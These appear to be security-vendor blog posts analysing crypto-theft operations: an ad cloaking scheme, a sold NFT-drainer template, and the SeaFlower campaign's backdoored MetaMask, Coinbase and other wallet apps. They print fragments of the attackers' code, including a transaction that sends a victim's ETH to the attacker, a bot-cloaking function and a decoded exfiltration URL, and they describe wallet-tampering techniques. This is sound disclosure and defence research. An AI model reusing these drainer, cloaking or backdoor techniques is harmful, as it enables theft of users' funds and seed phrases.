Usually, when the creatives have malicious call-to-actions, clicking on the ads will land the victim at this type of template, where there’s a button that determines whether to redirect to the scam or a cloaked page.

Note the tiny red circle on top of the coin image. That’s also a technique used on some of their creatives to trip up computer vision detection modules:

The Uncloaking

For users and devices outside their target audience, clicking on “click here” will just redirect to white pages (in cloaking, means a decoy placeholder markup with no malicious intent).

(https://thesellotto[.]com/start-benefiting/)

On the other hand, the correct targeting reveals interesting code snippets. The following is what appears to be tracking code for affiliate schemes:

https://gist.githubusercontent.com/dyarochewsky/77408cd61ef3b984332f502f77b08d6e/raw/8588df2104a3063a72a9fa465fe36095c5f58349/cash-1.html

As you can see, this is done over WSS which loads an image with the tracking path /event/lead in order to escape traditional request inspection.

What’s even more interesting is what was hidden inside a javascript library:

https://thesellotto[.]com/wp-content/plugins/contact-form-7/js/respond.js?ver=5.2.2

This is what the link loads for a normal out-of-target user:

https://gist.githubusercontent.com/dyarochewsky/02cac7e3ab0f17d65ce280ef8f5d0e09/raw/af112806ef328652221cfd8475bd54355d90fc1a/cash2.js

Nothing to see, right? Well, look at what we got it to load instead for us:

https://gist.githubusercontent.com/dyarochewsky/1c0d440fd65cff70ed4df1e4f421a1a8/raw/2ebee2915f2e19e7992e083ec836a8f942561ea5/cash3.js

This was decided server-side, so they likely inspected our client’s TLS and HTTP layers to serve us the malicious code.

Here’s the array it built to fingerprint the browser:

https://gist.githubusercontent.com/dyarochewsky/4d15592d010e8d00a2a97aeada67e004/raw/49d91471622619e02c79116e91e24aa18aef517f/payload.json

Very simple payload which includes timezone offset, device platform and language inspection. There’s one additional interesting step though; for a moment we were confused while inspecting only the network logs as to where the POST with this payload happens. If you look closely though, you’ll notice that they smuggle it inside a GET request header:

https://gist.githubusercontent.com/dyarochewsky/3bdfd158cf852247f152edd64b9f0b50/raw/e23254f51dc8f999d26b6354b3ba9a0a3b02dc13/p1.js

So, in effect:

https://gist.githubusercontent.com/dyarochewsky/54b0585cb26046307743f66e84a3f242/raw/40f125ee1b81380c9bffc6f64c9c05df5439574a/p2.js

which becomes a header:

https://gist.githubusercontent.com/dyarochewsky/d1f173b41c3ae59fcac9ba6bcc6a6e6c/raw/5b7f233356ec2690bb42be3261288d2051d5ba4a/p3.js

Neat!

Aaaand the scam page is:

Which redirects to a crypto platform on-click, where victims are persuaded to put in a deposit towards a fake investment opportunity.

The Behavior

From tracking this actor’s behavior, we’ve also noticed that the majority of the IOCs come from a few IPs that are virtualized in slow and steady cycles. That is, we’ve seen relative low volume and less aggressive domain churn compared to other threats we track — we’ve recorded 1,569,083 impressions over a period of 12 months, and the majority of its recorded targeting is Windows devices:

target distribution by device

In addition, one of the most striking quirks about this actor is the diversity of targeting. CashRewindo’s attacks are spread across Europe, Asia, Africa, and the Americas with oddly tailored campaigns — customized language, local currency and all.

Here’s another recent one targeting Brazil (a geo very rarely observed in investment scams). Notice the tailored language and attention to detail, the choice of the creative imagery that’s very specific to the location. CashRewindo is really a master in localization.

creative (tynbox[.]com)

landing page

uncloaked page tynbox[.]com

“Geo-diversity” by the numbers:

https://gist.githubusercontent.com/dyarochewsky/4e5b7696492d9e62a5ab2af8b8678507/raw/34e3615238fdd2621c00e54d76058f70a60ff9cf/impressions2.csv

Appendix A: IOC Piñata (as of Nov 1st)

https://gist.githubusercontent.com/dyarochewsky/3917d1464901c9969f68df601182a7e7/raw/7adaa8dcb6e6de69b79179ec192e726913ba02c0/iocs.csv

Appendix B: Tracked IPs

https://gist.githubusercontent.com/dyarochewsky/1e09ceac5e50c3a2a1ec951b0b99419b/raw/f09afb28fb1457333d97890db3c84fc07f7f5fb5/isps.csv

How One "Crypto Drainer" Template Facilitates Tens Of Millions Of Dollars In Theft

Confiant — Wed, 15 Jun 2022 21:23:00 GMT

Photo by Michael Trimble on Unsplash

Our previous blog provided an overview of Web3 phishing techniques and tactics, all of which continue to be relevant despite a recent economic downturn in the crypto markets. Today, we offer a deeper dive into a specific category of Web3 phishing pages called “Crypto Drainers” and one of the more prolific actors behind them. We will see how one Crypto Drainer template was responsible for over 2,000 ETH in losses in a short period of time.

Crypto Drainers are phishing pages that lure victims into signing malicious transactions that allow the attacker to siphon their crypto and NFTs. Typically these websites piggyback off of well known or emerging NFT projects. The websites themselves are primarily promoted via spam campaigns on social networks and Discord.

The way most crypto drainers work is relatively straight forward:

Fake NFT minting pages with an artificial countdown to create urgency.
Victim connects their wallet to “mint”.
Check if the victim address owns any valuable NFTs.
Victim signs transaction(s) to transfer ownership of NFTs.
Victim sends a transaction to the attacker for the cost of the fake “mint”, but this transaction is not a contract interaction.
Rinse & repeat.

Let’s dig into a real example:

hxxps://pandaverse-mint.ml/

Here’s the real website for comparison:

When we look at the code under the hood of the malicious site, we find that the whole thing is templated and includes deployment instructions, but more on that later. For now, let’s take a peak at how this thing works.

First we have settings.js which acts as a config file. The comments are not ours, but part of the Crypto Drainer template.

https://gist.github.com/eliyastein/0f2f1fd0ae12570c90a8e0b4b72838b7#file-settings-js

And then we have index.js which includes the code responsible for the actual draining:

https://gist.github.com/eliyastein/e11c184b518deb56b440e912d616c77e#file-index-js

We won’t go over the code line by line, but it’s worth highlighting two sections in particular. First, there is this snippet from the spurious mint function, which just sends ETH from the victim to the attacker:

web3.eth.sendTransaction({
            from: walletAddress,
            to: address,
            value: web3.utils.toWei(amount, “ether”),
        })

Remember, minting an NFT is almost always a smart contract interaction, and requires invoking at least one function call. It typically requires additional orchestration beyond transfer of value to invoke a smart contract method, which is completely absent from the code above.

The second snippet we want to highlight is the askNfts() function in the code above:

https://gist.github.com/eliyastein/da326af2a69a1bd98e340c6be69e7d2d#file-asknft-js

Looks fishy doesn’t it? We can see how the attackers leverage the Moralis API in order to pull a record of the victim’s NFT ownership and cycle through them one at a time to siphon them off to a smart contract. Not to mention that pretty damning comment:

//this is a SMART CONTRACT address, don’t replace or NFTs won’t come :)

The role of the smart contract address here is not entirely clear as the source code is not verified and the bytecode analysis is outside of the scope of this post, furthermore this particular page hasn’t claimed any victims so there are no transactions to trace, but it’s noteworthy nonetheless seeing as we have examples of the same exact template moving NFTs to the attacker’s address directly and not an intermediate proxy contract.

In a few moments, we’ll see that we can’t take everything at face value in the world of Crypto Drainers, but for now we continue our investigation by trying out some OSINT searches to see what comes up. It’s clear as day that this is a recycled template that is likely being circulated around, so maybe we can find additional instances of it with a search on GitHub.

We do a search for askMint and come up with a treasure trove of hits:

We see that the same codebase has been employed by several dozen GitHub users and hosted on GitHub Pages:

Each instance targets a different NFT project as well. For example, the GitHub Page above is a fake METAKAMI mint:

Things start heating up as we continue digging through the search results and land on what looks to be the original repo:

GitHub - C4lme/Nft-Drainer-stealer-template: drain nft fake mint steal nft nt stealer

In order to use this website, you need to edit the settings.js file. On line 1: const receiveAddress = “YOUR WALLET”…

github.com

Eureka!

But remember when we said that everything is not as it seems in the world of Crypto Drainers? Here’s where things get interesting:

GitHub - captaingreem/Lets-talk at d2534784d836d28c36cafd3515115112c2550def

This guy do dualwallet with backdoor, don’t trust this kind of people who sell you shit for a small price so that they…

github.com

Looks like the old adage “There’s no honor among thieves” holds true especially for cybercrime as we find a GitHub user calling out the first author we found above as a thief that sells backdoored Crypto Drainers!

We follow the link to a Crypto Drainers group on Telegram:

Here we find vendors selling these Crypto Drainer templates as a full service, with full support in English and French:

There’s a demo on YouTube by the way:

And an e-commerce link where you can buy these hosted templates with white-glove service:

Now anyone can be an NFT & crypto thief for the low cost of €1499.99!

Impact & Scope

So how prevalent and how effective are these Crypto Drainers really? Well it depends, as it’s up to the attackers to promote these malicious websites effectively, but considering that this is the template we see used the most in these phishing attacks, it’s safe to say these folks generally do quite well.

While we have many examples of Crypto Drainer websites that appear to have never robbed a single victim, we also have plenty that have resulted in very lucrative hauls for the perpetrators.

For example, we can look at the ETH address associated with mint-moonlanders[.]com which as of this writing has produced over $85k in revenue for the attacker in a 10 day span:

While it’s quite difficult to grasp the full impact of these attacks due to the way stolen ETH and NFT tokens are passed around, we can begin to formulate an educated guess by adding up all the inbound transactions coming into the attackers’ addresses.

For our analysis, we looked at 227 addresses that we collected over the course of the last few weeks.

Here’s what we found:

The average Crypto Drainer sees 33 inbound transactions between ETH & NFTs.
Total observable inbound ETH value transferred to these attacker addresses is 695 ETH or approximately $12.5MM at the time of this writing.
29.5% of all Crypto Drainers have not claimed a single victim.

And with regards to drained NFTs:

The average Crypto Drainer has stolen 9 NFTs, but the top 10 most prolific drainers are responsible for 69% of all NFT thefts.
61% of Crypto Drainer wallets have not had a single inbound NFT transfer.
Based on current floor prices, we estimate the value of the stolen NFTs to be 1517 ETH or approximately $27.5MM at the time of this writing.
The most commonly stolen NFTs are ENS names, which makes sense given that most folks in the NFT space use ENS.
Among the stolen NFTs we have tracked, 8 are Bored Ape Yacht Club NFTs.

Caveats & Considerations

We want to be explicitly clear that due to the large number of IOCs to sort through for this research, our findings in the section above should be treated as estimates.

Our methodology begins with the detection of this specific template and we parse out the ETH address specified as the payment address by the attacker only at the time of discovery. Because of this, there are a few thoughts worthy of careful consideration:

It’s possible that the ETH address is a place holder if observed when the template is first deployed.
Some attackers rotate the ETH address frequently during the course of their spam campaigns to promote these websites, so our view into any particular drainer’s success might be partial.

Furthermore, the addresses we have observed have participated in thousands of blockchain transactions, which required us to develop automation to parse out the data to calculate our estimates. Due to the broad scope, it’s impossible to reconcile all of these transactions manually and in some cases transactions that are unrelated to theft might have been a part of the mix. While it’s unlikely that most seasoned criminals will use the same address for personal transactions and for collecting the proceeds of a Crypto Drainer, we have observed that some of the perpetrators do exactly that. However, we are not able to explicitly exclude this type of activity.

Finally, seeing as this template is largely open source, we can’t in good faith suggest that all of these instances were deployed by the actor behind the Crypto Drainer marketplace that we mentioned above.

Appendix A — Malicious Domains

https://gist.github.com/eliyastein/5511d3a03d7f69d5fd7fa0a867a690bc#file-drainer-iocs-txt

Appendix B — Ethereum Addresses

https://gist.github.com/eliyastein/7b574b6c6f7aa87dd4a0282dff7b295b#file-drainer-eth-addresses-txt

How SeaFlower 藏海花 installs backdoors in iOS/Android web3 wallets to steal your seed phrase

Confiant — Sun, 12 Jun 2022 20:02:00 GMT

Originally written by Taha Karim

During the course of our work at Confiant, we see malicious activity on a daily basis. What matters the most for us is the ability to:

Protect our existing customers.
Share unique threat intelligence.
Keep finding unique vantage points for better detection.

At Confiant we monitor 2.5+ billion ads per day thanks to our 110+ integrations in the advertising stack allowing us to protect 40K premium websites from bad ads.

That itself gives us great visibility on malicious activity infiltrating the ad stack and the broader Internet, powered by our proprietary uncloaking technology. And that includes all the web3 malicious activity funneling through it.

The variety and the range of our detection enable us to detect unique malicious activity as soon as it surfaces. SeaFlower is an example of this unique cluster of malicious activities targeting web3 wallet users that we will document in this blog post.

What is SeaFlower?

SeaFlower is a cluster of activity that we identified earlier this year in March 2022. We believe SeaFlower is the most technically sophisticated threat targeting web3 users, right after the infamous Lazarus Group.

The cluster of activity named “SeaFlower” was chosen for a reason. One of the injected .dylib files in the original Mach-O of the metamask app, contained the full path to xcode derived data, that leaked a macOS username: “Zhang Haike”:

Author username leak

Note: this same mistake was made on other libraries that helped leaking more macOS usernames, and thus uncovering a set of personas related to SeaFlower

Naturally, Googling “Zhang Haike” was the next step, which gave many Chinese-speaking references, including this one that I found amusing: it is the name of a character in a Chinese novel called “Tibetan Sea Flower”.

The Chinese-speaking references conform to the context of this large campaign, and hint to a strong relationship with a Chinese-speaking entity yet to be uncovered:

Uncovered macOS usernames are Chinese names
Source code comments in the backdoor code are written in Chinese.
Modding/hooking Frameworks used are common in the Chinese-speaking modding community, based on the fact that many tutorials and usages example of these Frameworks are in Chinese and the authors of the tools are Chinese speaking.
We uncovered Provisioning profiles, signing infrastructure, and app provisioning infrastructure hosted in the Chinese IP address space and the Hong Kong IP address space in addition to the domains registered with .cn TLD. Note: signing infrastructure and provisioning infrastructure might or might not be directly related to SeaFlower as it could be abused or just used as a service.
We uncovered multiple cloned websites (mimicking official wallet websites) initially hosted in Hong Kong IP address space
CDN abused is Alibaba
Most of the search engines targeted are Chinese search engines.

As of today, the main current objective of SeaFlower is to modify web3 wallets with backdoor code that ultimately exfiltrates the seed phrase.

The targeted web3 wallets are the following:

Coinbase Wallet (iOS, Android)
MetaMask wallet (iOS, Android)
TokenPocket (iOS, Android)
imToken (iOS, Android)

Note: The wallets above are 100% safe and you can use them safely. But like any other good and very popular software, they are exposed to modding, reverse engineering, and backdoors. SeaFlower distributes a backdoored version of these wallets by modifying the original ones.

Any users lured into downloading SeaFlower backdoored wallets will ultimately lose their funds. We provided SHA-256 of each analyzed backdoored wallet to help our community identify these backdoored wallets and their multiple variants.

SeaFlower Modus operandi

Looking at the various attacks in this new cluster, they have something in common: SeaFlower doesn’t alter the original functionality of the wallet in any way but adds code to exfiltrate the seed phrase, and does it using different techniques increasing in complexity, hopefully, documented in this blog post.

The user experience, the UI, and all the wallet functionality are unchanged, normal/advanced users won’t notice anything while using the app on their phones: it is the legitimate app from the AppStore/Play Store with a sneaking backdoor in it.

But if one is actively monitoring network requests, one will find out that there’s a single network request that is sent to weird-looking domains, for example, we have seen backdoored wallets sending traffic to trx.lnfura[.]org (mimicking infura.io) or metanask[.]cc (mimicking metamask.io) over HTTPS.

Setting up a MITM proxy we could decrypt the HTTPS traffic and find out that the seed phrase, the wallet address, and the balance are sent out to the attacker:

Intercepting HTTPS traffic of SeaFlower backdoor

But how this is possible? we will have to reverse engineer the apps to determine all the techniques SeaFlower used to make these legitimate apps behave maliciously in the background.

SeaFlower drastically differs from the other web3 intrusion sets we track, with little to no overlap from the Infrastructure in place, but also from the technical capability and coordination point of view: Reverse engineering iOS and Android apps, modding them, provisioning, and automated deployments.

SeaFlower also takes care of the app distribution phase by setting up fake cloned websites where these backdoored wallets can be downloaded. The identified websites are perfect clones of legitimate websites, offering download links:

imToken cloned website (courtesy of DomainTools) hosted at: appim[.]xyz

cloned Metamask website, hosted at: https://74871011[.]huliqianbao[.]com/download.html

cloned Coinbase Wallet website hosted at som-coinbase[.]com

cloned token pocket website hosted at fastrpo[.]com

Note: Surprisingly we didn’t find a backdoored chrome extension delivered from these clone websites, all the links point to the real chrome extension in the Chrome Webstore, so as of now, fake chrome extension delivery isn’t part or wasn’t identified in the SeaFlower intrusion-set.

For iOS, SeaFlower is using provisioning profiles. Once installed, the iOS apps are then sideloaded to the victim’s phone and installed. Below are some of the steps we recorded of typically what the victim will see when browsing one of the SeaFlower websites using an iPhone:

iPhone with multiple installed backdoored wallets

Note: We reported at very early stage of this campaign all the Apple developer id’s linked to these provisioning profiles to Apple and they revoked them. We are planning to continue reporting this activity to Apple Threat intelligence teams on a regular basis.

The last question to be answered is how the users are targeted and redirected to these websites offering backdoored wallets? short answer: Search Engines. Indeed, search engines are one of the clear entry points for SeaFlower that we identified to this date, redirecting mobile users to fake/cloned wallet download websites. In particular, Baidu search engine results are one of the initial vectors for these attacks.

Baidu, Inc is a Chinese multinational AI technology company with a search engine. We were interested to see if there’s any SEO or targeting to coinbase or metamask users in that search engine.

We searched for “download metamask ios” and one of the baidu links on the first results page redirected us to token18[.]app website, which was SeaFlower Drive-by download page, sweet!

SeaFlower targeting via search engine results

While monitoring for results we started noticing that there was an intermediate website, that does a fingerprinting before redirecting to the SeaFlower drive-by download pages. We extracted the client-side fingerprinting from the HTML pages and we identified a code that checks if the referer matches different search engines, in fact, multiple Chinese search engines :

SeaFlower intermediate Fingerprinting

Most of the search engines mentioned are all Chinese search engines:

Chinese search engines targeted by SeaFlower

We created a specific detection rule to hunt for any of the above js code, and we found another piece of code that has bot/spider detections, by checking the userAgent strings, we can see again references to Chinese search engines crawlers/spiders:

function isSpider() {  
    var flag = false;  
    var spider = navigator.userAgent.toLowerCase();  
    var spiderSite = [’baiduspider’, ‘baidu.’, ‘360Spider’, ‘sogou.’, ‘soso.’, ‘yisouspider’, ‘bingbot’, ‘bing.’, ‘google.’, ‘googlebot’];  
    for (let i = 0, len = spiderSite.length; i < len; i++) {  
        if (spider.indexOf(spiderSite[i]) > 0) {  
            flag = true;  
            break;  
        }  
    }  
    if (!flag) {  
        goPAGE();  
    }  
}

This particular campaign tells us more about the initial vector and the targeting that seems to be search engine oriented, with the majority being Chinese search engines.

At this point, we defined some initial context and learned a bit more about who could be potentially targeted by SeaFlower.

Next, is the backdoored wallets technical analysis part, we will shed some light on how SeaFlower is backdooring the web3 wallets. For readability, we will document in this blogpost how iOS MetaMask wallet and Android Coinbase wallet were backdoored in great detail. The other flavors of these wallets (iOS, Android) and the other wallets (imToken, TokenPocket) are using very similar backdoor code and won’t be all covered in this blogpost but will be briefly documented especially the most relevant parts.

MetaMask wallet

MetaMask iOS app

SHA-256 .IPA file analyzed: 9003d11f9ccfe17527ed6b35f5fe33d28e76d97e2906c2dbef11d368de2a75f8

MetaMask for mobile is a React native app, meaning it can run on both iOS and Android. The first signs of backdoor code can be found at the main.jsbundle.

A conditional code block was added at the beginning of WriteFile() function. This code block is not present in the official metamask wallet:

backdoor code injected inside main.jsbundle

zoomed in backdoor code injected inside main.jsbundle

This conditional backdoor code will execute anytime writeFile() is called on a file whose path contains “persist-root”. If we look at where this file is located using a real iPhone, it is stored within the MetaMask app container, it is a configuration file, containing the seed phrase encrypted amongst other runtime configuration data. The file is specifically found at the following path:

/private/var/mobile/Containers/Data/Application/{CONTAINER UID}/Documents/persistStore/persist-root

This new information gives us a high-level understanding of when the backdoor code is called: right after the MetaMask seed-phrase is generated and about to be stored encrypted in the “persist-root” file. We confirmed this by installing MetaMask app on a real iOS device and indeed a network request with the seed phrase is sent right after the user confirms the seed phrase during the wallet’s first setup installation, which is pretty neat as a backdoor implementation, and completely invisible during the usage.

The only issue here is that the startupload() function highlighted above in the backdoor code, isn’t present in the main.jsbundle() and there are 0 references to this function in any javascript file or any linked .dylib file exported symbols.

hunting for startupload()

This step required reverse engineering and digging into some Arm64 assembly and low-level code as we will see. I will keep it brief to not confuse the readers, hopefully, it will make sense:

So I started looking at the MetaMask compiled Mach-O file, and noticed two injected .dylibs :

injected .dylib’s into MetaMask wallet iOS app

libmetaDylib.dylib and mn.dylib seems to be good candidates as these are not supposed to be injected in the original MetaMask iOS Mach-O binary.

TLDR; I am skipping the analysis of mn.dylib as this library is not relevant to the current backdoor as we will see later, so I didn’t spend time analyzing it much.

libmetaDylib.dylib was signed with developer ID iPhone Distribution: pl li (259JS6979T) and team-ID 259JS6979T

libmetaDylib.dylib contains references to 3 known modding/hooking frameworks: Cycript, Cydia Susbtrate, and the Reveal Framework. This is already a red flag, meaning that something has been done to alter the runtime behavior of the app:

Cycript, Susbtrate and Reveal linked/injected with libmetaDylib.lib

I confirmed Reveal server running in the app container by connecting to it using Reveal app (newer versions of Reveal didn’t work, but got some luck with the version 14 10107, likely the version used by SeaFlower) :

Reveal Framework installed on the backdoored metamask ios app

Full path to Xcode Derived data was left on the compiled .dylib leaking a macOS username “lanyu”

I’ve found multiple references to MonkeyDev Framework which is a hooking & modding utility written by AloneMonkey. MonkeyDev has custom Xcode templates https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates which make it fully integrated to Xcode during the development cycle of these backdoors!

MonkeyDev xcode template

At this point, there are multiple tools for hooking or modding but still no sign of startupload() and its implementation.

A Backdoor inside a Backdoor

After several checks identifying where a backdoor code could be injected I started looking at the injected libraries, and ran the usual class-dump on the libmetaDylib.dylib revealed a weird class name FKKKSDFDFFADS, highlighted below:

highlighted weird looking class name

OCMethodTrace is reference to the OCMethodTrace tool written by Michael Chen aka omxcodec , enabling tracing of objective-C classes/methods. OCMethodTrace is also part of MonkeyDev xcode templates: https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates/blob/master/MonkeyAppLibrary.xctemplate/Trace/OCMethodTrace.h

Cross-referencing the class name FKKKSDFDFFADS I got a solid hit on a Logos tweak installed by the backdoor author, targeting the function dataWithContentsOfFile:options:error the tweek was installed via MSHookMessageEx()

tweek defined in _logosLocalInit() function

Logos is a Perl regex-based preprocessor that simplifies the boilerplate code needed to create hooks for Objective-C methods and C functions with an elegant Objective-C-like syntax. It’s most commonly used along with the Theos build system, which was originally developed to create jailbreak tweaks

At this point a malicious dataWithContentsOfFile:options:error implemented by the author will get called right before the original one. The malicious dataWithContentsOfFile:options:error contains the following code:

backdoor code called

at line 39 there’s a clear call to our weird class FKKKSDFDFFADS :)

at line 29 there’s also a test checking a variable path against the string /meta.app/main.jsbundle.

It seems this function dataWithContentsOfFile:options:error is expecting a .jsbundle file to read from and return its content, but let’s take a step back and figure out why the author hooked the call of dataWithContentsOfFile:options:error it must be for a specific reason.

Going back to the initial Mach-O MetaMask there’s a reference to dataWithContentsOfFile:options:error at the function 0x1001339cc:

there’s a function at 0x1001339cc calling dataWithContentsOfFile:options:error

This function is called by RCTJavascriptLoader::loadBundleAtURL

At this point, we can conclude that the author is trying to inject a backdoor in the form of a React Native Bundle and have it loaded by RCTJavascriptLoader used by the RCTBridge to load javascript.

Every react native app starts with the creation of an RCTBridge instance. In this, react native loads the javascript, either from the local packager or a pre-built bundle, and executes this inside JavascriptCore.

We are left with one last exercise to confirm all this and call it a wrap by analyzing the weird class FKKKSDFDFFADS.

Below is the decompilation of the method FKKKSDFDFFADS::ddsdf:

decompilation of FKKKSDFDFFADS::ddsdf

Interesting :) I can see base64 blob of typical RSA pivate key/ public keys What this function does is RSA decrypting an RSA encrypted blob encoded in b64. The author linked the library with antoher library called SCRSACryptor and found reference to it in github here: https://github.com/xialun/RSAClass

so I just created a project in xcode, extracted the b64 encrypted blob and the RSA keys, linked it to this library, and wrote the following code snippet to decrypt the blob:

created an iOS project and ran it :

decrypted SeaFlower backdoor

we finally got the missing startupload() function :) below is the code of this function:

https://gist.github.com/tahaconfiant/e3c6e8e679ffb10f4157b25a28f565e2#file-seaflower2-js

Above is the source code startupload() function, all what it does is sending a POST request to the trx.lnfura.org domain with the seed phrase information that is stored in the variable xlmnmonic.

starting from line 59, we can see code starting with a __BUNDLE_START_TIME__ confirming that we are dealing with typical React Native Bundle. The code is basically related to the runtime loading of this bundle and to resolving module dependencies, etc:

taken from: Rafael de Oleza — Building JavaScript bundles for React Native

xlmnmonic stores the seed phrase passed to the function _initFromMnemonic we can find it in the main.jsbundle:

xlmnmonic storing the seed phrase

Validating the backdoor code execution at runtime:

As with any backdoor code found, it is important to validate it at runtime. I installed the backdoored metamask app on a real iOS device, ran debugserver on iOS and waited with LLDB on my laptop to break right after the app is launched. I set a conditional breakpoint to break into anything “logos” :

break set -r “logos” -s libmetaDylib.dylib

then got a first hit at _logosLocalInit():

debuging the backdoor code

After that I stopped at the function I am interested in _logos_meta_method$_ungrouped$NSData$dataWithContentsOfFile$options$error$ (the one added by the backdoor author using MSHookMessageEx())

From there all I have to do is to find where the obj_msgSend() that will call the weird class name FKKKSDFDFFADS::ddsdf, and the backdoor code is finally about to be executed via obj_msgSend ()as we can see in the screenshot below:

and that’s a wrap we confirmed statically, and dynamically the backdoor code and its execution.

Other variants of the MetaMask iOS app backdoor:

by analyzing multiple backdoored iOS MetaMask wallets I found other variants of the backdoor code, with this one having source code comments in Chinese:

Note: this same backdoor React Native Bundle variant was re-used on the imToken Wallet iOS app as well.

https://gist.github.com/tahaconfiant/358504126e428a63884ea770aea00602#file-seaflower-js

Coinbase Wallet iOS app

SHA-256 of the .IPA analyzed: 2334e9fc13b6fe12a6dd92f8bd65467cf700f43fdb713a209a74174fdaabd2e2

A single injected dylib libWalletDylib.dylib was used, below output of otool -L:

@executable_path/Frameworks/libWalletDylib.dylib (compatibility version 0.0.0, current version 0.0.0)

This .dylib is signed with Developper ID certificate : iPhone Distribution: Universitas Muhammadiyah Malang (9MJG6A8RD7) and Team-ID 9MJG6A8RD7

Dumping the strings, we found the same author macOS username “lanyu”, as in the metamask Wallet iOS app, confirming we are dealing with the same author, and also confirmed the usage of the same Monkeydev xcode templates:

/Users/lanyu

The backdoor code wasn’t really hidden like in the MetaMask wallet iOS app, as we could see more methods implemented directly in the injected .dylib:

backdoor code can be seen via class-dump of

Logos was also used with multiple MSHookMessageEx() hooks at multiple ViewControllers of the app, calling back specific backdoor code methods each time:

coinbase Wallet iOS app with logos tweaks

imToken Wallet iOS app:

SHA-256 of the .IPA analyzed: 1e232c74082e4d72c86e44f1399643ffb6f7836805c9ba4b4235fedbeeb8bdca

similar to the Coinbase iOS wallet, one .dylib libimtokenhookDylib.dylib was injected:

@executable_path/Frameworks/libimtokenhookDylib.dylib (compatibility version 0.0.0, current version 0.0.0)

This .dylib is signed with Developper ID certificate : Sjdbfbd Jdjffb (9J3Q9W2QG2) and Team-ID 9J3Q9W2QG2

We also found reference to the same macOS username “lanyu” and references to the MonkeyDev framework:

The backdoor was hidden and encrypted same as in the Metamask iOS wallet and I found the exact same backdoor React Native bundle that was loaded. We noticed additional hooks via MSHookMessageEx() were added to the RCTJavaScriptLoader, ensuring eventually the loading of the backdoor React Native bundle:

So it seems the Author didn’t do anything specific for imToken Wallet iOS app.

TokenPocket iOS Wallet:

SHA-256 of the .IPA file analyzed : 46002ac5a0caaa2617371bddbdbc7eca74cd9cb48878da0d3218a78d5be7a53a

a single .dylib libpocketDylib.dylib was injected:

@executable_path/Frameworks/libpocketDylib.dylib (compatibility version 0.0.0, current version 0.0.0)

This .dylib is signed with Developper ID certificate : hang Bai (GNY64NUGXC)

Authority=iPhone Distribution: hang Bai (GNY64NUGXC)
Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA
Signed Time=Mar 3, 2022 at 5:06:06 PM
Info.plist=not bound
TeamIdentifier=GNY64NUGXC

A new author macOS username leaked named “trader”, we also confirmed the usage of the MonkeyDev Framework:

Logos tweaks are used, in particular hooks to “setMnemonic:” were added:

The captured seed phrase is sent to a domain controlled by the attacker :

Coinbase Wallet android app

It is important to note that with every iOS app, delivered via provisioning profiles, there was an android app available to download on the same page setup by SeaFlower:

We will do a quick analysis for the Coinbase Wallet APK file to showcase how the backdoor code has been added.

SHA-256 of the APK: 83dec763560049965b524932dabc6bd6252c7ca2ce9016f47c397293c6cd17a5

I installed the APK and run it on an Android emulator, with the SSL interception in place. Not suprisingly, and similar to the iOS flavour of this app, a network request is sent to an attacker controlled domain containing the seed phrase of the victim:

exfiltrated seed phrase from backdoored Coinbase wallet

Android APKs are extremely easy to backdoor, therefore we won’t be spending too much time in this section and we will limit the analysis to the Coinbase Wallet APK, only.

One very known technique is injecting smali code. Looking at the HTTP request sent, and the parameters names, it didn’t take me too much time to find out the backdoor code, that is implemented in a class called XMPMetadata:

The author didn’t add anything fancy to their backdoor, and called this class when the seed phrase is about to be saved to the Storage with the seed phrase in parameters :)

backdoor code inside saveMnemonicToStorage()

and they encoded the C2 domain/url in base64, how fancy :

echo -n “aHR0cHM6Ly9jb2xuYmFzZS5ob21lcy91L3Ntcy8=” | base64 -d

https://colnbase.homes/u/sms/

Some Final thoughts about SeaFlower:

What I liked about this cluster of activity, is the fact that it is unique, it is web3 related, and not reported before. It seems there was a lot of efforts in the iOS side of things, for example setting up provisioning profiles, automatic deployments, sophisticated backdoor code, etc. More work has been done compared to the Android side of things.

There are some notable challenges when it comes to SeaFlower attribution, for example figuring out if the provisioning servers are run by the same group, and also identifying more initial vectors of the attack beside the Chinese search engines. All these are difficult challenges due to the geographical and language barrier aspects.

We are planning to release sometime in the near future a part 2 of this blog post, where we will do a deep dive into the infrastructure used by SeaFlower and add more elements of attribution.

General security recommendations:

For Web3 Wallet developers

Definitely not an easy one when it comes to protecting crypto-related software like mobile web3 wallets used by millions of people.

What we write in this section won’t prevent a skilled or determined attacker from tampering with your apps, but there are some easy fixes that could cost money and time to your attackers.

First of all, know and understand your attack surface (hopefully this blog can help), as well as reading this document listing different attack surfaces crypto wallets could be exposed to : https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06c-Reverse-Engineering-and-Tampering.md

Secondly, make your stuff harder to break :) detecting inline hooks, injected libraries, detecting instrumentation tools, etc.. are well-known and documented topics.

For Web3 users

Always download mobile apps from official stores: Apple AppStore & Play Store.

Never install or accept random provisioning profiles on your iPhone, as you saw in this blog post, they allow the download of unverified software that could potentially steal your crypto.

Final words — part 2 coming soon

if you like this content, please ensure to follow me on twitter @lordx64 and please stay tuned for the part 2.

If you are working at a security team please get in touch with us at security@confiant.com to get access to our web3 threat intelligence feeds, including access to more SeaFlower intrusion-set updates.

A Whirlwind Tour Of Crypto Phishing

Eliya Stein — Mon, 21 Mar 2022 20:55:00 GMT

The post-pandemic world has seen cryptocurrencies and blockchain products in general catapult in valuation and adoption. “Web3”, “DeFi”, and “NFT” have become household terms and the sector is growing so fast that people and businesses are pouring in with dollar signs in their eyes and high hopes to get a piece of the pie. A massive land grab reminiscent of the dot com bubble is taking place with fortunes amassed in the blink of an eye and wiped out just as quickly due to extreme price volatility, regulatory frothiness, hacks, and scams.

Like sharks to chum, the malvertisers have long since arrived to play their role. In this blog post we will look at several chains that start with an ad and end with cryptocurrency theft, usually via phishing.

Hardware Wallets

When it comes to blockchain based assets like Bitcoin, Ethereum, and many others, a private key is used to sign transactions. The transactions are then broadcast onto the blockchain in order to send funds or interact with smart contracts. Managing private keys is hard, so this is typically done by wallet software. Most wallets, during the “setup” stage will generate a deterministic “seed phrase” that users can use to backup their wallet. Seed phrases are a very helpful abstraction, because they consist of human readable words as opposed to gibberish. So let’s say that you have a wallet on your laptop, but the laptop gets damaged, lost, or stolen. If you have your seed phrase secure, you can restore you wallet on a new laptop and regain control of funds that would otherwise be lost.

A hardware wallet is a physical device that is used to secure crypto assets. It adds an extra layer of security by requiring the user to physically interact with the device in order to confirm transactions. This way, funds won’t get sent and interactions won’t happen by the wallet software alone initializing a transaction. Of course, if the seed phrase for the hardware wallet were to get leaked, then the point is moot.

Enter malvertisers…

